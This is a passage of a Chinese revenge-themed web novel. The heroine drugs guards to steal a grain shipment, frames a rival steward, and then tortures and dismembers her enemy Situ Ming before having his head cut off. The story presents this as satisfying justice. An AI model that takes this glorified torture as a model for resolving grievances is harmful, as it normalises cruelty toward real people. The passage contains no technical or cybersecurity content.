只需要观察每个院子的使用痕迹,地上的杂物、以及门槛、地砖的磨损以及光滑程度,就能判断结果。 不过她才刚刚跑进第二个院子,就被这里的护院拦住。 闻颜嘤嘤哭着:“我耳珰掉在院子里了,是那位瘦瘦的大老爷让我自己进来找的。” 护院将信将疑。 闻颜泪眼汪汪:“你们若是不信,自去问大老爷便是。” 说完,她就身形灵巧地朝拐进了另一个院子。 等精瘦男子被护院解救出来,他急得跺脚大喊:“你们都是死人吗?还不快去把那个女的揪出来!” 不等护院揪人,闻颜就从院子里跑了出来。 她拿着一只耳珰,兴奋异常:“你们看,我找到了!” “谢谢大老爷让我进去找到母亲的遗物。”闻颜一脸感激,真诚的眼神,仿佛下一秒就能给他磕一个。 “那个……我们就不打扰大老爷,先走了。”闻颜朝小墨和石头叔使了个眼神,大家一起跟着她离开了。 精瘦男子脸色一沉:“去把所有护院都叫来。” 没一会儿,二十几个护院,齐刷刷地跪在他身后。 “胥庄头,人都到齐了。” 胥庄头转过身来,神情狠戾地看着他们:“刚才那个女人去院子里后,可有什么越界的举动?” 护院仔细地回忆之后,这才摇头道:“并没有。她一直在埋头找东西,沿着路找,从头至尾连头都没抬起来过。而且……她好像分不清方向!” “你们可看仔细了?”胥庄头半信半疑,总觉得这群人来得突兀,目的不纯。 “胥庄头,确实是这样的。她一直在扒拉地缝,从头到尾都没有东张西望。” 见所有护院都说辞一致,胥庄头这放下怀疑。 闻颜他们提着水回到炭窑,接着做未完的工作。 留出气口和烟道,就由学徒继续填土糊面。 闻颜便坐到一旁,拿出此前画的宅子布局图,开始标记起来。 石头叔也跟了过来:“确定好位置了吗?” “嗯。”闻颜在中间两个院子,画了圈,“这两个院子里,活动痕迹比其他院子明显,而且地上砖缝里有粮食粒。 而且他们运粮的时候,不是真的正门,而是走的后门。” “他们屋后确实还有一条道。”石头叔又问道,“他们的宅子,能存放下五千石粮食吗?” 闻颜推了推眼镜,道:“绝对能放得下,这座宅子很大,别说是五千石粮食,一百石了能装得下。 而且,我怀疑,这座宅子里面有粮窖。” “现在最基本的情报,我们已经掌握得差不多了,就等粮食运来了。” 天色黑尽之际,炭窑终于封好。 闻颜看了看天色,拿着火把来到风口,点下了第一把火。 承前杂草枯叶的迅速燃烧,青烟从烟道中排出。 闻颜便开始给他们教学,如何观察烟的颜色,如何控制火势,以及在穹顶出现裂隙时,一定要及时堵住,以免更多的空气进入窑中,使炭燃烧过度。 闻颜在才学的同时,也时不时观察着胥家宅子的方向。 她要看看,那些人要多久才会发现些自的异常。 直到翌日清晨,胥庄头才带着人朝这边而来。 “你们是什么人,胆敢在山野放火!”一个狗腿子,跑在最前面,指着闻颜等人呵斥。 闻颜心中说不出的高兴。 原来,胥家的警惕性如此之差。 家门口着火,浓烟滚了一夜,天色大亮了才发现。 他们只要保持这个水准,运粮那一夜还有什么好怕的。 闻颜回头看过去,正好与胥庄头视线相撞。 胥庄头眼神一颤:“竟然是你!” 闻颜朝他招招手:“好人大老爷,好巧,又见面了。” 胥庄头呵斥道:“你们在这里干什么!” 闻颜笑着道:“烧炭啊!你看不出来吗?” “谁允许你们在经烧炭了,把家伙什撤了,赶紧滚蛋。” “我们为什么要滚?这里的林子又不是你家的。” “怎么不是我家的!这里所有的男,所有的地,全都是眉家的。 识相就赶紧走,我们可以既往不咎,否则我让你们有运远回。” 想到他昨日莫名其妙地闯进宅子里,胥庄头就越发觉得不安。 “呵呵!据我所知,这块地早就不是胥家的了。 此块是官府划给我们的,也是官府允许我们在此烧炭,你横加阻挠,难道是不把官府放在眼里?” “你……”胥庄头气得胡子直接走。 他可是胥家赐了姓的家生子。 虽然是个下人,但是早早就到庄子上做了庄头。 这附近的村民、佃农,哪个看见他不是尊敬有加。 就连衙门的人下来收粮税,也会看在胥家的份上,给他几分薄面,客客气气的。 像闻颜这样态度傲慢的,他还是第一次遇见。 他气得不行。 “我什么我?”闻颜笑盈盈地看了一圈他身后的人,“怎么?带这么多人来,是想打我吗?” 闻颜站在原地:“你想动手就直接来打啊,还一下手我们都是孙子。 不过,要打不死我们,就该想想能不能承受得起,来自府衙的怒火。” 闻颜说完,就从挎包里拿出一封文书,抖开了放到胥庄头面前。 胥庄头看着上面醒目的官印,气得浑身直哆嗦,却一句话不敢反驳。 大公子还没救出来,就连老爷都夹着尾巴做人,事事低调。 他一个奴仆,怎敢给家主惹麻烦! 他强忍着怒火,看着闻颜:“你好样的,以后千万别落在我手里,更别想多人们庄里打到一滴水!” 威胁完,胥庄头一挥手,就带着护院们离开了。 只不过,他们离开不远,胥庄头就回过头来,看炭窑的方向,眼神阴鸷。 “都给我等着。”他冷笑一声,这才带着人大步离开。 第226章:粮食到了 胥庄头回到庄子上后,越想越咽不下这口气。 他当即修书一封,交给护院:“拿着,把它送到朱老爷手中。” 朱老爷是晋阳府城最大的炭商。 朱家仅是烧炭的山地就有四座,加起有五六万亩。 若是让朱家知道,有人跟他们抢买卖,朱家还能坐得住吗? 当然,他特地隐藏了闻颜他们,有官府背景这一项。 “我收拾你们不了你们,自有人来清扫你们。” 炭窑。 胥庄头走了之后,石头叔意外地道:“就这样撕破脸了?” “不然呢?”闻颜摊手。 石头叔道:“以前看你和孟小姐行事,不管心里有多不高兴,都会保持起码的体面,今天有些太直白了。” 闻颜哈哈笑道:“那是因为双方都把脸面看得极重。 那个胥庄头可不想要体面。 即使是我们服软,说尽好话,他也会让人掀了我们的炭窑,把我们赶走。 我们强硬起来,他们反而不敢乱来,你看,最后还不是灰溜溜的跑了。” 闻颜掐算着时间,第一批粮食,这两天应该就到了。 第二天中午。 闻颜正在树荫下午休,忽然听见一串马蹄声。 她一跃而起,跑到高处往下看。 果然看见一人一骑,直奔胥家的宅子。 骑马之人,不是司徒明又是谁。 他叩门之后,对方开门看了他一眼,便将他请进了院子时。 当天酉时左右,一支车队,拉着满车的东西,来到了院中。 “终于来了!”闻颜兴奋地搓了搓手,立即爬到最高处。 石头叔也中着上了树。 他是习惯之人,比闻颜的目力要好。 他很快就数出了马车数量。 二十二辆马车,此次他们应该运了有两千石粮食。 看来是霍耀行尝到了人血馒头的甜头,更加急切地想赚钱。 又以为晋阳府,已经在司徒明的掌握之中,这才大胆起来。 宅子里,灯火一直亮到后半夜,那些车板和马匹才安顿好。 他们存放粮食的院子,也与闻颜此前猜测的,一般无二。 闻颜让石头叔连夜回城,给元小头领送信:“你告诉元小头领一句话‘你可以行动了’,就行。此时已经宵禁,恐怕要让你吃些苦头了。” 石头叔把胸脯拍得邦邦作响:“这算什么苦头。以前在军营里,遇上行军打仗,风餐露宿都是好看,遇上大雨暴雪才叫真的遭罪。 现在大夏天的又不冷,我找个墙根窝啥一宿。 明儿早上天一亮,我就立即进城去找元大人。 倒是你。我走之后,你身边连个保护的人都没有,你同一群大老爷们儿呆在一起,总归不安全。” 闻颜举起胳膊,炫耀地拍了拍:“你忘记我的功夫跟谁学的了?那些都是一群平民百姓,我一只手就能把他们全部撂倒。” 石头还临走的时候,还是给她留了一把匕首防身。 石头叔给马蹄包上棉布,悄无声息地离开了此地。 闻颜嘴上说着不碍事,心里却很警觉。 当天夜里,她只迷迷糊糊,断断续续地睡了一小会儿。 一夜无话。 翌日。 还不到千里,胥家的宅子里又来了人。 没一会儿,司徒明就跟着他火急火燎地走了。 闻颜便知,石头叔的任务,完美的完成了。 就在她放松的同时,炭窑来了一群不速之客。 等闻颜发现不对之时,他们已经被包围了。 来者全是青、壮年的男子,粗粗扫了一眼,有二三十人之多。 并且,他们还个个手拿武器。 一位衣着锦衣的中年男子,从人群后面走了出来。 那人身材微胖,面容和善,像是某个大户人家的管家。 “你们在这里烧炭?”那人笑容满面地看着闻颜。 但是他的手下,却在把包围圈缩小。 这些人来者不善啊! 学徒们都吓坏了,慌慌张张的想跑出去,又被那些人手里的武器吓回来。 闻颜把他们护在身后:“护住炭窑。” 辛苦了三四天,眼看就能出炭了,千万不能功亏一篑。 小野立刻拿着砍柴刀,护在了炭窑旁边。 “你们又是何人?”闻颜直接同管家对话。 管家轻飘飘地扫了闻颜一眼,讥诮道:“怎么?你们一群爷们儿,竟然让一个女人出来抗事。” 闻颜道:“这个炭窑是我的,有什么话你只管跟我说。有事好商量,虽然我们这里烧炭,但这些炭并不会在晋阳府……” 对方直接打断闻颜:“整个晋阳府的炭业都在我们手中,你最好立刻把这个破窑拆了,再从哪儿来回哪儿去。” “如果我不呢?” “敬酒不吃吃罚酒。”管家冷嗤一声,一招手,他的那些手下立刻冲了上来。 闻颜突然掏出匕首,朝管家甩去。 管家吓得尖叫一声捂住脑袋。 闻颜趁机冲上去,把管家挟持了。 她的那把匕首根本没有甩出去,此时正好架在管家脖子上:“都不许动,否则我抹了他的脖子。” 管家吓得不轻,赶紧叫停了手下,他声音哆嗦着:“这位姑娘,咱们有话好好说,万事好商量嘛……” “我更喜欢你刚才喊打喊杀的样子。”闻颜把匕首在他脖子上划了划。 管家感到脖子上一阵刺痛,这下他连大声说话都不敢了。 闻颜看向小黑:“拿根绳子来,把他绑住。” 管家的手下情绪很是激动,却碍于人在对方手里,不敢轻举妄动。 很快,管家就被五花大绑,小命完全被捏在闻颜手上。 闻颜拿捏着人质,并没有下一步行动。 就这样双方对峙了近一个时辰。 一阵马蹄声传来。 不时, 石头叔和田叔就出现在小路上。 看见这边的情况,两人大惊,立即跑到闻颜身边:“小姐!怎么回事?” 闻颜指着这些闯入者:“这些人莫名其妙,突然把我们包围,还要拆了我们的炭窑。” 管家呜呜大叫,不断摇头,并朝两位叔叔投去求救的眼神。 “小姐,这些人要怎么处理?直接杀了吗?”田叔冰冷的眼中闪过杀意。 管家的眼睛都瞪圆了,这些人是恶魔吗? 杀人说得像杀鸡一样! 自己可是朱家的大管家,他们怎么敢的! 第227章:赶着看霍耀行的好戏 管家的人更是吓得直往后退。 “不至于不至于,怎么就到杀人的地步了!”闻颜摆着手,“毕竟是孟希延的地盘,我们在这里大开杀戒,对他影响不好。” “难道要把这些人放了?”石头叔气得不行,要不是小姐机智,现在不知道被欺负成什么样了。 “把他们送去府衙,让孟希延自己处理吧。就说这帮人奉主家之命,违抗府衙。”闻颜大声说完,又小声跟两人解释,“他们自称,晋阳府的木炭都是他们家的产业,这么大一头肥羊,不狠狠宰一笔,都对不起我忙活这一场。” 石头叔嘴角压不住地往上翘,原来她打的是这个主意。 果然,但凡惹到小姐,不死也得脱层皮。 朱家干什么不好,偏要来招惹她。 管家总是“孟希延”三个字耳熟。 反应一会儿,才想起,那是新任知府的名字。 他惊得瞪圆了眼睛。 他们,难道跟知府关系匪浅? 那自己岂不是踢到铁板了。 他又惊又怒,连忙使眼色,让手下快跑。 手下们立即四散逃开。 石头叔和田叔,一下能按两个,小黑也上去帮忙。 没一会儿,就按倒五六个。 其余的人都逃掉了。 石头叔把他们穿成串时,笑着提醒管家:“你知不知道,我们是奉官府之命,教授大家烧炭的? 烧出来的炭根本不会在本地卖,而是运去南方。” “什么!”管家震惊地瞪圆眼睛,原本还挣扎的身体,瞬间软了下去。他终于回过神来,自家老爷,都被人利用了! 大概是这边动静闹得太大,惊动了附近的百姓。 得知这里可以免费教人烧炭。 时不时便有人来转悠。 闻颜干脆让村长,把村里想学的人叫来,开了第二窑。 ** 司徒明回到晋阳城后,就没再出来。 据城中传出来的消息。 元小头领一发难,胥家的账本禁不住查。 大批粮食的出处,怎么都说不清楚。 最后顺利把司徒明牵扯出来,司徒明也被顺利地控制了行动。 两天之后,第二批粮食送达。 第一批木炭也到了出窑的时间。 敲开上层的泥封,内里便是一根根黑色的,光泽闪动的木炭。 闻颜抽出两根。 告诉学徒们如何通过:纹理,色泽,重量,坚硬程度,以及敲击声,来辨别木炭的质量。 闻颜拿出两块木炭,放在手中轻轻敲击。 木炭发出清脆的金属声。 闻颜便道:“喏,能发出金属声的木炭,就是好炭。 那种一捏就碎的,质量太差,只能留着自用,不能拿出去售卖。 出炭之后,也不要一股脑全部收集在一起。 而是要细心地,按质量分装。 质量好的,价格卖得也高。” 收完炭,闻颜便让学徒们自己开一窑。 闻颜则把第一批炭,运到租用的粮仓。 先把粮仓修整一番。 卸去门槛,平整地面。 再将木炭捣碎了铺在仓底,用来做最基础的防潮。 她这边刚刚准备完,最后一批粮食就到了。 大车大车的粮食拉进院子里,胥庄头打发护院去村子里,找些农夫过来搬抬粮食。 田叔趁机混入队伍当中,顺利进入宅子。 闻颜这边,晚饭也从难嚼的干饼了,换成了汤饼,里面还加了三个鸡蛋,和一碗肉沫。 学徒们吃得很高兴。 不过,吃过之后,没一会儿就晕了过去。 闻颜和石头叔坐在山坳里等着。 天色黑尽。 胥家宅子的房顶上,突然亮出两个火把。 火把打出暗号。 石头叔笑道:“成了。庄子里的人,已经全放倒了。” 石头叔吹出一声口哨,一只鸽子便落在他肩膀上。 闻颜把纸条绑在鸽腿上,放飞。 没过多久,在浓浓的夜色里,几辆马车拉着几群人,进入宅子。 石头叔也站了起来:“小姐,我过去帮忙了,你一个人在这边,千万小心。” “你放心去吧,我去粮仓那边开门。” 两人分开行动。 闻颜到了粮仓,刚刚准备好,粮食就一车一车地运过来了。 闻颜看见打头的人,很是惊讶:“无蕴子大师,你怎么也来了?” 无蕴子撅着嘴,一脸委屈:“还不是佩儿!她非要我过来赶马车!” “小姐!” 无蕴子话音刚落,佩儿就从后面一辆马车上冒了出来,她笑盈盈地朝闻颜挥着胳膊。 “佩儿!你也过来了!” 佩儿跳下马车,飞奔过来:“这么紧急的事,我当然要跟来出一份力。” 林叔虽然向元小头领借了八十个人。 为防消息走露,那些人只负责把粮食从胥家的宅子搬到运货的马车上。 他们甚至是在昏迷的情况下,被运进胥家的宅子的。 那么,在外面运粮的事,就落在闻颜自己人的肩上。 三位叔叔肯定忙不过来。 佩儿主动请缨,顺道把无蕴子抓了壮丁。 他们说着话,已经把粮食运到粮仓所在的房间。 这里都是地窖式的粮仓,卸粮时不需要费太多力气。 直接堆进坑里,就算把麻袋摔破也没关系。 粮袋卸掉之后,他们又马不停蹄地赶回去,继续搬运。 九十来个人,忙活了三四个时辰,才接近尾声。 看着快要堆满的两个粮窖,闻颜心里愉悦极了。 她已经能预想到,霍耀行得知粮食一颗不剩后,会如何跳脚,如何的歇斯底里。 收完粮,她就赶紧把司徒明收拾了。 不然,就赶不上看霍耀行的好戏了。 闻颜让林叔他们收尾,她则和佩儿去准备早食。 煎饼加瘦肉粥。 佩儿手脚麻利,闻颜给她打下手。 倒是赶在收工前,把早食做出来了。 林叔把早食拉到胥家的宅子里。 终于赶在天亮前,把前来帮忙的人送走。 林叔负责把帮工送回城。 田叔和石头叔清理通往隔壁粮仓的路。 把马车驶过的痕迹,全部抹去。 又制造出车队向北,出关的痕迹。 布置好这一切之后,他们才回到炭窑。 学徒们逐渐清醒过来,他们揉着脑袋:“天怎么亮了?我头好痛!” 闻颜也顺势醒过来。 她捶了捶脑袋:“我们好像被你迷晕了!” 闻颜立刻目光锐利地打量着学徒们:“你们谁下的药?竟欲何为?” 小黑也醒了过来。 他见丑娘师父没事,松了一口气的同时跑向炭窑。 他围着炭窑转了两圈,没有发现不妥之后,便向闻颜汇报:“师父,炭窑没事。” 因为现场没有任何损失,闻颜也没再“追究”。 三天之后,第二批炭也出窑了。 第228章:功劳归还 做完最后一次教学,收完炭之后,制炭教学也就结束了。 学徒们各自归家。 临别前,闻颜叮嘱大家:“过段时间,应该会有官府的人,找你们到其他村子,教烧炭。 另外,到了合适的烧炭时间,官府也会通知你们,你们按照规矩来操作就好,切不可自做主张,当心得不偿失。” 闻颜好一通叮嘱,这才放他们离开。 看一步三回头的小黑。 闻颜朝他招招手。 小黑立即跑了回来。 他一脸期待地看着闻颜:“师父,您还有什么吩咐?” 这么多学徒当中,闻颜看他最顺眼。 闻颜想了想,便道:“以后烧炭有什么不懂的,就去我们放炭的宅子找田叔,知道吗?” “知道了。”小黑明明十六七岁了,却是像个乖宝宝一样点头应是。 “快去吧。出来大半个月,家里人都该念叨你了。”闻颜又给他塞了一小包果脯。 小黑抱着果脯,恋恋不舍地离开了。 等此时的人走远,闻颜他们也回府城里了。 回到府城之后,闻颜就去找了元小头领。 元小头领看见闻颜,就忍不住调侃她。 闻颜有求于他,并不还嘴,反而笑眯眯地受着。 元小头领就没见过如此温顺的闻颜。 他不仅没有怼赢的开心,反而心里发毛。 他竖起两根手指问闻颜:“这是几?” 闻颜拍开他的手:“你什么意思?” 元小头领:“还是这么凶巴巴,你没傻啊!” “不过,你知道前几天让田叔送回来的那几个人是干什么的吗?” 闻颜反应了一会儿,才把那几个人,和打砸炭窑的华服管家联系到一起。 “听说他的主人,是晋阳府最大的炭商?”闻颜好奇询问,“难道还有后续?” “可不是有后续。 制炭只是他主子众多产业当中,最不起眼的一个。 他主家姓朱,当真是富得流油。 还没败落的胥家,也只比朱家好一点点。 胥家走下坡路后,朱家便成了晋阳府首富。” 朱家落在元小头领眼里,就是行走中的钱串子! 他和孟希延将计就计,以违抗府令、律法的罪名过堂朱管家。 孟希延的雷霆手段,早就传遍晋阳府的每一个角落。 朱家主生怕孟希延顺着朱管家,拿朱家开刀。 得到消息后,第一时间就带着自家的账本和厚礼亲自来了一趟府衙。 既是赔罪,也是把朱管家保出去。 朱管家留在府衙,随时都有可能成为攻讦他的武器。 他又是赔礼,又是道歉。 最后在他的示意下,朱管家才老实交待,并供出,他是受胥家挑拔。 还拿出了胥庄头给他的那封信。 于是。 刚刚才被放出去的胥家家主,再次被带回府衙。 闻颜听得双眼圆睁。 没想到,还有这样的意外收获。 闻颜笑得含蓄,夹着嗓子道:“元大人,小女子有事相求。” 元小头领一个激灵:“求你,有事直说,你这样我害怕。” 闻颜:“……” 她恢复平时的冷淡性子,“我租了个仓库,冬天收炭时要用。但是我在这边人手不足,想跟你借几个兵过去守着。” “我手下的兵,都是晋阳府的守卫,我不可以徇私枉法。”元小头领下意识地在口头上刁难闻颜。 但是想到她刚才夹着嗓子说话,实在恐怖。 当即话风一转:“那个……你烧炭、收炭都是为了晋阳百姓,我作为父母官之一,岂会连这点小事都不满足你。” “你放心吧,我立刻就调五个人过去,帮你守着仓库。” 闻颜连声道谢:“帮我看仓库者,每人每月多给一两借调银子。当然……前几天借过的那批人我不要。” 元小头领瞥了闻颜一眼,心思电转,但他一句多余的话,都没问。 闻颜闲聊几句,就去找孟希延。 她拿出一本手札,是关于清理河道的。 “如果你们按照手札上的要求施工,保证晋阳府十年之内无洪涝。” 这不是闻颜瞎吹。 而是前世她遇到一位老水吏,他便是兰纮治理河道的参与者之一。 兰纮急功近利,砍去许多重要步骤,使得府衙花了大价钱,效果却减半。 闻颜道:“我听说,晋阳府有一位姓盖的老水吏,他治理河道很是厉害,你能叫他一起吗?” 盖水吏,便是闻颜前世遇见的那位。 孟希延不疑有他,立即让人把盖水吏叫来。 等待期间,孟希延随意翻了翻手札, 厚厚的一本,里面除了文字,还配有图册说明。 若是涉及到工具,有些还标注着数据。 仅是将这本手札通读完都要好几个时辰。 闻颜半个月写完,还要时刻教人烧炭。 可见她付出了多少努力,熬了多少夜。 很快,盖水吏就来了。 他匆匆看完目录,便大呼闻颜的想法,与他不谋而合。 闻颜道:“既然我与盖大人不谋而合,那就请知府大人,把治理河道的事,交予他来负责吧。” 这本就属于盖水吏的功劳,于情于理都应该还给他。 “啊?!”盖水吏傻眼了,“你的治理方法很好,你不参与吗?” 闻颜便说出第二件事:“我要回京了。” 孟希延眉头微蹙:“怎么走得这样急?”先前巴不得闻颜早些离开。 此时她听要走,反而有些反应不过来。 闻颜笑着道:“你不是早就想让我回京城了吗?我终于决定要走了,你怎么一副舍不得我走似的?” 孟希延轻咳一声:“你的点子着实多。等你一走,我就少一个出谋划策的军师了。” 不过孟希延还是没有拦着。 还要安排辰一哥护送她。 闻颜连忙拒绝:“你正是用人之际,可不能因为我耽误了。”闻颜摆摆手,撒腿就跑。 “等等。”孟希延生怕她一下就跑得没影儿,连忙叫住她,“那个司徒明,已经关在衙门好几天了……” 闻颜抿了抿唇,认真道:“虽然我与他同行过一段,但那也只是点头之交,孟大人切不可因为私人关系,就徇私枉法。” 孟希延:“……好。” 他帮霍耀行到晋阳府高价售卖粮食,虽然不太道德,却并未违律。 关这么多天,已经越矩了。 当天傍晚。 司徒明就从府衙里放出来了。 司徒明一直心慌慌,总觉得发生了什么,他不受控的大事。 回到大宅子里,洗漱收拾一番,就准备去城外的庄子上看看,发安他的心。 第229章:抓司徒明 司徒明骑着马,直奔城门而去。 只见十几名守城兵,推着沉重高大的城门,缓缓合上。 这是到了宵禁时间。 “不要……等一等!”司徒明急得大叫,手里的皮鞭猛抽马屁股。 马儿吃痛,嘶鸣一声,撂着蹄子猛地加速。 路上行人,尖叫着纷纷避让。 好在此时行人还多,否则必然会发生踩踏事件。 然而。 司徒明还是晚了一步。 等他赶过去时,城门已经彻底关上。 司徒明气得额头上青筋暴起,却梗着脖子硬生生把怒火压了下去。 他跳下马背,强挤出一抹讨好笑容:“大人,草民有急事要出城,还请通融。” 说着,他将一只钱袋”,悄悄递了过去。 那钱袋沉甸甸的,里面少说装了十几二十两银子。 守城兵眼中闪过渴望,他迟疑了一下,还是伸手接过钱袋。 比预估要沉的重量,压得他的手往下坠了坠。 司徒明见他收钱,立即催促。 谁知守城兵反手一扬。 沉重的钱袋子‘啪’的一声砸在司徒明脸上。 “啊……”司徒明痛叫一声。 被砸中的眼眶,立即变得青紫。 “你什么意思!”司徒明终于控制不住怒气,捂着眼眶,大声质问。 “什么玩意儿,还敢贿赂小爷!”守城兵啐了他一口”。 若是以前,这个门开便开了。 但是新来的知府铁面无私,若是自己的行迹暴露。 他们的前途就完了! “今日之辱我记下了,他日我定叫你们付出百倍代价!”司徒明怨恨地瞪了他们一眼,捡起钱袋,转身欲走。 守城兵一扬手,另外几个兵就上前将他按住。 “光天化日之下,你们想干什么!”司徒明挣扎,却被按趴在地上。 守城兵走到司徒明面前,居高临下地看着他:“闹市纵马,无人员伤亡者,仗五十,或罚银百两。你先一个吧!” “你……你公报私仇!”司徒明愤怒道。 “你刚才纵马,可不止我们看见了,还有不少百姓都看见了。” 人证物证俱在,司徒明气得青筋暴起,也无济于事。 最后,他只得委屈又不甘地选择了罚银。 一百两银子交出,他才重获自由。 他怨愤地看了看守城兵,最后一瘸一拐地牵着马,回宅子里去。 一司徒明惦记的胥家宅子里,那些人还在昏睡。 闻颜运完粮后,并未放任他们不管。 而是让石头叔又去灌了几次药,直到现在,他们都还在昏睡。 刚刚灌完药的石头叔,回到只隔了一个山坳的粮仓宅子。 闻颜刚刚清点完粮仓。 这一批粮食,竟然有三分之二都是陈粮,好在没有发霉腐坏的。 跟第一批粮食,就天壤之别。 佩儿骂霍耀行良心都坏掉了。 闻颜想的却是,霍耀行好计谋。 陈粮卖不出先前的高价,这么大个窟窿就只能由胥家来填。 总之,只要胥家主还想救独子,霍耀行就不会少一分钟人。 佩儿听得啧啧称奇。 这时,石头叔走进门来,小声道:“今天已经给那些人药量减半,明日中午,他们就会醒过来。” “我知道了。”闻颜小声回道。 半天时间,足够她捉住司徒明了。 饭后。 差役各司其职。 闻颜六人坐在小厅喝消食茶,其实是在商量后面的安排。 闻颜准备回京了。 晋阳府的事,她打算托附给林叔和石头叔。 他们二人留在这边,近期职责是守好仓库里的粮食,远期则是收炭。 林叔忍不住问道:“那些粮食,现在不出手吗?” 闻颜道:“现在还不是时候。 霍耀行丢了这么多粮,肯定会派人过来调查,我们这时候卖粮食,岂不是不打自招! 等入了冬,若是挨饥受冻的贫苦百姓多,可以少量低价卖些质量差的,等明年时机合适,再给剩余的粮食,找个合适的来由卖出去。” “林叔,石头叔,这边条件艰苦,辛苦你们了。” 林叔摆摆手:“看个仓库,算什么辛苦?倒是你们和老田一路回去,路上危险重重,我们不放心。” 老田睇了林叔一眼,语气幽幽:“怎么,你是说我没你能打?” 晋阳府境内的匪患,孟希延大清理了一遍,反而十分安全。 重要的事,商议完毕之后,便各自回房休息。 一夜无话。 天色刚亮。 闻颜一行四人五骑就出发了。 他们离开庄子之后,并未走远,而是藏身于一处林中。 不多时间。 道上传来马蹄声。 林叔几下窜到树上,朝声音传来的方向眺望:“小姐,是司徒明,他来了。” 片刻之后。 驾! 驾! 一骑一马出现,狂奔而来。 忽地。 平地上突然弹起一根二指粗的麻绳。 麻绳绷直,绊住马蹄。 马儿嘶呜一声,栽倒在地。 马背上的司徒明也被摔飞出去,还在地上滚了几圈才停下。 田叔从树上一跃而下,按住司徒明的同时,一拳砸在他的脑袋上。 后脑遭受重创后,脑门又重重磕在地面的碎石上。 司徒明还没来得及反应,就痛昏过去。 司徒明悠悠转醒,发现自己身处一个山洞之中。 手脚也被绑了起来。 他观察了一下环境,并未慌乱,而是挣扎着脱下鞋子,又用嘴叼着鞋,想从里面倒出什么东西。 “你是在找这个吗?”一支巴掌长的匕首,掉在他面前。 司徒明扑过去抢,他刚抓住匕首,双手就被一只脚狠狠踩住。 他抬缓缓抬头,便看见一张丑陋至极的脸。 “是你!”司徒明诧异极了。 闻颜居高临下地睥睨着他:“是我。很意外吗?你不是一直在怀疑我吗?” 司徒明:“你果然居心不良。说吧,你抓我过来,想干什么?是想要钱,还是粮食?” 闻颜咯咯笑出声:“有没有可能,我想要你的命?” “不可能!”司徒明立即否认,“我们无怨无仇,你不至于恨我到这个份儿上。” 闻颜笑得越发动听。 无怨无仇吗? 对于今生来说,他们确实无怨无仇。 前世,他却把她害惨了! 平常小打小闹的算计坑害就不说了。 那几件大事,不管重生几次,闻颜都不会忘记。 第230章:歼明死 霍耀行虐杀她儿子时,他便囚禁她,不让她去救孩子。 舍不得她经商赚来的财富,又与霍耀行密谋,害她性命。 除此之外。 到了地方,他代表霍耀行出面,官商勾结,残害百姓、忠良。 甚至为了一笔政绩,他竟然撺掇霍耀行,把她送给有特殊癖好的商人。 还有她身边得用的人。 四位忠心耿耿的叔叔,两位丫鬟,以及年老的霜姨,第一个都被他谋害过。 她看着司徒明,一一细数他曾经做下的恶事。 司徒明越听越觉得荒谬:“你疯了吧,你说的那些事,我听都没听过。 再说了,就以你现在的尊荣,还想嫁给霍世子,你怕不是在发臆症。” 闻颜摸了摸脸,“对哦,你现在还不知道我是谁!” 闻颜说着,拿出一瓶药水在脸上抹了抹。 很快,一张面皮揭了下来,露出闻颜娇好的容貌。 “你……你是闻颜!”司徒明怔了一怔,随后露出不可置信的表情,“你……竟然是你。 没想到你隐藏得这么好,我竟然一直没发现你的真实身份。” 司徒明的眼珠子转了转。 他对闻颜道:“我知道,没能嫁给霍世子,你很不甘心。 不如这样,你我联手,我让你重新当上世子夫人,保你一世荣华富贵。” “那闻如月呢?她现在才是霍耀行的正妻。” “不过是个无知蠢妇,让他死了便成。” 闻颜嗤笑一声。 看吧。 在司徒明眼里,任何人都可以舍弃。 即便是,霍耀行深爱着的女人。 “真的吗?”闻颜眼神天真地询问。 司徒明:“当然是真……”话没说完,他就感觉腹部一凉。 他低头看去。 就见一把短刀扎进了他的肚子里。 闻颜抽出刀,冷冰冰地道:“霍耀行一个破烂货,也配我嫁?” “你……我是霍世子的军师,你杀了我,他不会放过你的!” “那也得他知道,你是我杀的啊!”闻颜笑得猖狂。 他拔出刀,又是刀划在他的脸上,从左眼而过。 一只眼睛,也在这一瞬间失去光明。 这一回,司徒明痛得连声音都发不出了。 “放心吧,我这人很善良的。用不了多久,我就会把霍耀行送下去陪你。” “我有钱,只要你肯放过我,我把所有的钱都给你。” “那你说说,你的钱都藏在何处?” “你带我回京,我亲自带你去取。” “把我当傻子糊弄呢?事到如今你还不明白自己的处境吗?你没有资格跟我谈条件!” 闻颜手里的短刀一削。 司徒明的右手大拇指就没有了。 “现在愿意说了吗?” 司徒明知道自己活不成了。 反而咬紧牙关,一声不吭。 闻颜却有嘲弄戏谑的目光看着他:“你以为你不说我就不知道吗?” 前世,闻颜跟他斗了十几年。 他的私产、秘密养的外室,她一清二楚。 闻颜报出一个地址。 司徒明绝望地瞪圆了眼睛。 幸好! 幸好,他离开前,把外室和儿子送回娘家。 自己不回去接,外室和儿子就不会回家。 钱子没了,他的血脉至少还在。 闻颜像是看穿他的想法,嘻嘻一笑,“我也知道,你外室娘家的住址哦!” “啊……我要杀了你!杀了你!”司徒明尖叫着要杀死闻颜。 闻颜蹲在原处动也没动。 司徒明连她的一片衣角都没碰到,就被闻颜把整只手掌削掉。 在司徒明咽气之前,闻颜将他的手指,一根一根削了下来。 不大的山洞里,血气冲天,熏得人作呕。 闻颜前世的满腔怨气,终于在此时消解了一点点。 闻颜却毫不在意,她平静地扎下最后一刀,直戳在司徒明的心脏。 她这才脱下染血的外衣,走出山洞。 “小姐!”佩儿和田叔一直守在洞口,见她出来,立即迎了上来。“小姐,你没事吧!” 闻颜笑着摇头。 能手刃一个仇人,她的心情好得很,怎么会有事。 她看向田叔:“叔,麻烦你把他的脑袋割下来,再把尸体处理一下。” 田叔话不多,朝她点点头,转身就进了山洞。 看到满地残肢断体,田叔脸上并无厌恶,甚至还诧异地挑了挑眉。 没一会儿,他就提着司徒明的人头回来,鲜血洒了一地。 人头也被随意的扔在地上。 田叔说:“这一带有狼行痕迹,血腥味很快就能把狼引来,不用半天,饿疯的就会把尸体啃得只剩骨头。” 闻颜最后看了司徒明一眼,便带着佩儿和田叔,叫上躲在远处的无蕴子,一起下山。 无蕴子确定完事之后,这才走过来。 他在听见司徒明第一声惨叫后,就躲到远处去了。 不过,他一靠近闻颜,就闻到她身上浓重的血腥气。 他当即干呕起来。 从此之后,他看闻颜的眼神里,都带了上畏惧。 他们重新回到官道,已经到了午时。 胥家的庄子里,掖着粮食的队伍,和胥家护院这才悠悠转醒。 醒来之后,他们只觉得头晕目眩,骨头像被人抽走了一般。 连站都站不起来了。 这是连续服用大是蒙汗药,以及五日粒米未进,饿到发昏的效果。 